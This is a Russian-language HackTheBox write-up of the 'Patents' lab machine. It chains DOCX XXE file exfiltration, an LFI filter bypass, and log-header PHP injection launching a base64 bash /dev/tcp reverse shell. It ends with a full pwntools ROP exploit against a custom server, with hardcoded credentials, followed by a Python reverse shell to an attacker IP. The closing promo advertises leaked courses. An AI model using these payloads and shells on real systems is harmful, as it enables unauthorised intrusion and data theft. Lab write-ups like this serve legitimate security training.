HackTheBox. Прохождение Patents. XXE через файлы DOCX, LFI to RCE, GIT и ROP-chain

—

от автора

image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем XXE в сервисе преобразования DOCX документов в PDF, получаем RCE через LFI, копаемся в истории GIT и восстанавливаем файлы, составляем ROP цепочки с помощью pwntools и находим спрятанный файл рута.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ 🙂

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.173, который я добавляю в /etc/hosts.

10.10.10.173    patents.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A patents.htb -p22,80,8888

image

На хосте работают службы SSH и веб сервер Apache, при этом порт 8888 отведен для непонятной службы. Посмотрим веб.

image

На сайте имеется форма загрузки DOCX документов.

image

XXE DOCX

По утверждению, наш документ будет преобразован в PDF формат. Это наталкивает на мысль о XXE. Я взял пример отсюда.

image

Таким образом, в данном примере хост попытается загрузить xml документ с удаленного сервера. Загрузив этот документ, он прочитает локальный файл указанный в загруженном xml документе, закодирует его в base64 и обратится еще раз на наш сервер, передав закодированный файл в качестве параметра запроса. То есть, декодировав этот параметр мы получим файл с удаленной машины.

Но данную нагрузку следует размещать не по пути word/document.xml. Так как для работы с таким типом документов используется SDK OpenXML, то, как следует отсюда и отсюда, программное обеспечение на стороне сервера будет искать данные в word/document.xml, а в customXML/item1.xml. Поэтому нагрузку стоит размещать именно там.

Давайте создадим docx документ и разархивируем его как zip архив. После чего создадим директорию customXML и создадим в ней файл item1.xml. В него мы запишем код с изображения выше, изменив IP адрес на свой. И архивируем документ обратно.

image

Теперь запустим локальный веб сервер.

python3 -m http.server 80

И в текущей директории создаем второй xml файл, указав в качестве желаемого файла /etc/passwd.

image

И загружаем документ на сервер. В окне с запущенным веб сервером увидим обратное подключение.

image

Декодируем base64 и получаем файл, который запросили.

image

Таким образом мы можем читать файлы на сервере. Давайте прочитаем файлы конфигурации Apache. Для этого изменить dtd.xml и повторим загрузку документа.

image

image

Так мы узнаем директорию, в которой расположен сайт. Давайте попытаем прочитать файл конфигурации.

image

image

И в комментарии сказано, что файл был переименован из-за уязвимости. Мы конечно обратимся к нему patents.htb/getPatent_alphav1.0.php.

image

Обратившись к данной страницы и передав в качестве параметра id путь ../../../../../etc/passwd, из нашей строки будут удалены все вхождения “../”. Давайте каждую строку “../” заменим на “…/./”, так при удалении последовательности, все равно останется “../”.

image

И мы находим LFI.

Entry Point

Давайте попробуем получить из этого RCE. Скажу честно — это было сложно. Дело в том, что отправляя подобный документ, мы не получали предложение загрузить PDF. То есть был задействован дескриптор 2 (для вывода диагностических и отладочных сообщений в текстовом виде). А к нему мы можем обратиться. Давайте закодируем реверс шелл в base64:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

Мы будем декодировать его и передавать в функцию system в php. Давайте передадим код в качестве заголовка HTTP при загрузке файла.

curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

Запустим netcat.

nc -lvp 4321

И теперь обратимся ко второму дескриптору.

curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

Получаем бэкконнект.

ROOT 1

Загрузим скрипт перечисления системы linpeas и внимательно проанализируем вывод. Так мы работаем в докер контейнере.

image

Еще находим хеши. Но взломав, ни к чему не приходим.

image

image

Поэтому запускаем pspy64 чтобы отследить запускаемые процессы. И находим запуск процесса от имени root, при котором пароль передается как переменная окружения.

image

И локально сменим пользователя, указав данный пароль.

image

ROOT 2

Давайте посмотрим, что делает данный скрипт.

image

image

Получаем наводку на какой-то lfmserver, а также сохраняем логин и пароль. Поищем в системе все, что связано с lfm.

image

И находим в данной директории git репозиторий.

image

Давайте поработаем с данным репозиторием.

image

Посмотрим историю изменений.

image

Посмотрим историю изменений. Так видим что в предпоследнем коммите были добавлены исполняемый файл и описание, а в последнем — они уже удалены. Давайте откатимся до удаления файлов.

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

И у нас в директории появились исполняемый файл и описание.

image

image

Тут я уже хотел приступить к реверсу файла, но — у нас есть git проекта! Я нашел коммит, где упоминались исходные коды.

image

И давайте восстановим файлы.

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

После чего скачиваем интересующие исходные коды, саму программу и библиотеки на локальную машину.

ROP

Нам нужно попытаться найти и эксплуатировать уязвимость в программе, в помощь есть исходные коды. Проверим защиту в бинарном файле.

image

То есть канарейка и PIE отсутствуют, но стек не исполняемый. Откроем бинарный файл в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro 7.2 ) и сопоставим декомпилированный код с исходными кодами из репозитория.

image

Для подключения к серверу и используем данные из файла checker.py, а также учетные данные.

image

image

Давайте напишем шаблон эксплоита.

#!/usr/bin/python3  from pwn import *  context(os="linux", arch="amd64") HOST = "127.0.0.1" PORT = 8888 username = "lfmserver_user" password = "!gby0l0r0ck$$!"

Давайте теперь определимся с запросом. Запустим приложение.

image

Необходимо отправлять путь к файлу и хеш его содержимого. Для примера я взял /etc/hosts.

image

Добавим к шаблону следующий код.

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n" file = "/etc/hosts" md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32" send_ = INPUTREQ.format(file,username, password, md5sum)  r = remote(HOST, PORT) r.sendline(send_.encode())  r.interactive()

Теперь выполним и получим ошибку 404.

image

Посмотрим log файл.

image

Понятно где приложение ищет файл, давайте поиграем с путями, и укажем такой file.

file = "../../../../../etc/hosts"

Выполним код и не увидим никаких ошибок.

image

image

Но в случае urlencode, получаем ответ с кодом 200 от сервера!

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

image

Отлично, давайте вернем к дизассемблеру. Найдем среди строк (Shift+F12) удачный ответ сервера. И посмотрим, где к ней происходит обращение (X).

image

И переходим к первой функции, где в самом начале происходит проверка учетных данных.

image

Давайте переимеенуем строки-переменные в окне дизассемблера, чтобы в декомпиляторе было понятнее.

image

И разбирая код в строках 18-24, пониманием следующее: часть пользовательского ввода попадает в функцию sub_402DB9, где происходит преобразование строки в переменную name, которая потом попадает в функцию access, и в случае отрицательного результат, происходит вывод сообщения 404. Таким образом, в переменной name будет расположен путь к файлу. Так как запрос обрабатывался даже в кодировке urlencode, то данная функция скорее всего нужна для декодирования.

image

Но дело в том, что переменная name, куда происходит перенос данный, ограниченного размера.

image

Таким образом, для переполнения буфера нам необходимо передать 0xA0=160 байт. Давайте допишем в код функцию дополнения до 160 байт и кодирования пути к файлу. Так как от содержимого файла вычисляется хеш, то необходимо не нарушать целостность пути к файлу, то есть после основного пути добавить 0x00 байт.

Но дело в том, что нам нужно знать хеш от какого-либо файла на сервере, который будет доступен всегда и никогда не изменится. К примеру /proc/sys/kernel/randomize_va_space, а как мы помним из вывода linPEAS, ASLR активирован, то есть мы знаем хеш.

image

Тогда изменим код.

#!/usr/bin/python3 from pwn import *  def append_and_encode(file, rop=b""):     ret = b""     path = (file + b"\x00").ljust(160, b"A") + rop     for i in path:         ret += b"%" + hex(i)[2:].rjust(2,"0").encode()     return ret  context(os="linux", arch="amd64", log_level="error")  HOST = "127.0.0.1" PORT = 8888 INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n" md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"  payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space") send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum) r = remote(HOST, PORT) r.sendline(send_) r.interactive()

Это успешно работает!

image

Теперь давайте используем утечку памяти и определим адрес, по которому загружена библиотека libc. Для этого мы получим адрес функции write в загруженной библиотеке libc.

binary = ELF("./lfmserver") libc = ELF("./libc6.so")  rop_binary = ROP(binary) rop_binary.write(0x6, binary.got['dup2']) rop = flat(rop_binary.build())  payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

image

Теперь выделим адрес функции dup2 (первые 8 байт). Вычтем из него адрес функции dup2 в не загруженной библиотеке. Так мы найдем базовый адрес libc.

print(f"[*] Payload sent")  recv_ = r.recvall().split(b'\r') leak = u64(recv_[-1][:8]) print(f"[*] Leak address: {hex(leak)}") libc.address = leak - libc.symbols['dup2'] print(f"[+] Libc base: {hex(libc.address)}")

image

Теперь найдем адрес строки /bin/sh.

shell_address = next(libc.search(b"/bin/sh\x00"))

Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (возьмем 6). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.

rop_libc = ROP(libc) rop_libc.dup2(6,0) rop_libc.dup2(6,1) rop_libc.dup2(6,2) rop_libc.system(shell_address) rop = flat(rop_libc.build())   payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop) send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum) r = remote(HOST, PORT) r.sendline(send_)  context.log_level='info' r.recv() r.sendline(b"id")

image

Отлично! Получаем шелл от рута. Но вот он быстро умирает. Запустим листенер (nc -lvp 8765) и кинем бэкконнект шелл.

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

image

image

И мы имеем стабильный шелл. Полный код привожу картинкой ниже.

image

Но вот прочитать флаг рута не можем…

image

ROOT 3

Запустив linpeas и просмотрев вывод, находим интересные разделы, особенно /dev/sda2.

image

Давайте получим информацию о всех блочных устройствах.

image

Таким образом мы имеем корневой раздел /dev/sda2. Создадим директорию и монтируем раздел.

image

Вот и находим флаг рута.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

ссылка на оригинал статьи https://habr.com/ru/post/502268/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *